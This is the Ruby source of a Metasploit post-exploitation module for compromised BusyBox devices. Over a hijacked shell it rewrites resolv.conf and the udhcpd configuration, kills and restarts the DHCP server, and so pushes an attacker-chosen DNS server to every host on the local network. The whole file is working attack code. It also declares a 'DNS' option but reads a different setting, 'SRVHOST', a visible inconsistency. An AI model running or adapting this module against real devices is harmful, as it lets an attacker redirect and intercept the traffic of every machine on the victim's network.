79 lines
2.7 KiB
Ruby
79 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::BusyBox
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def initialize
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super(
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'Name' => 'BusyBox DNS Configuration',
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'Description' => %q{
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This module will be applied on a session connected to a BusyBox shell. It allows
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to set the DNS server on the device executing BusyBox so it will be sent by the
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DHCP server to network hosts.
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},
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'Author' => 'Javier Vicente Vallejo',
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'SessionTypes' => ['shell']
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)
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register_options(
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[
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OptAddress.new('DNS', [ true, 'The dns server address' ])
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])
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end
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def run
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print_status("Searching for files to modify dns server.")
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if busy_box_file_exist?('/etc/resolv.conf')
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modify_resolv_conf
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end
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if busy_box_file_exist?('/etc/udhcpd.conf')
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modify_udhcpd_conf
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end
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end
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def modify_resolv_conf
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print_status('File /etc/resolv.conf found')
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if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
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print_good('DNS server added to resolv.conf')
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end
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end
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def modify_udhcpd_conf
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print_status('File /etc/udhcpd.conf found')
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if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
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restart_dhcpd('/etc/udhcpd.conf')
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else
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print_status('Unable to write udhcpd.conf, searching a writable directory...')
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writable_directory = busy_box_writable_dir
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if writable_directory
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print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
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cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
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Rex::sleep(0.3)
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print_status("Adding DNS to #{writable_directory}tmp.conf")
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busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
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restart_dhcpd("#{writable_directory}tmp.conf")
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else
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print_error('Writable directory not found')
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end
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end
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end
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def restart_dhcpd(conf)
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print_status('Restarting udhcp server')
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cmd_exec('killall dhcpd')
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# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
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# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
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# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
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session.shell_write("dhcpd #{conf} &\n")
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print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
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end
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end
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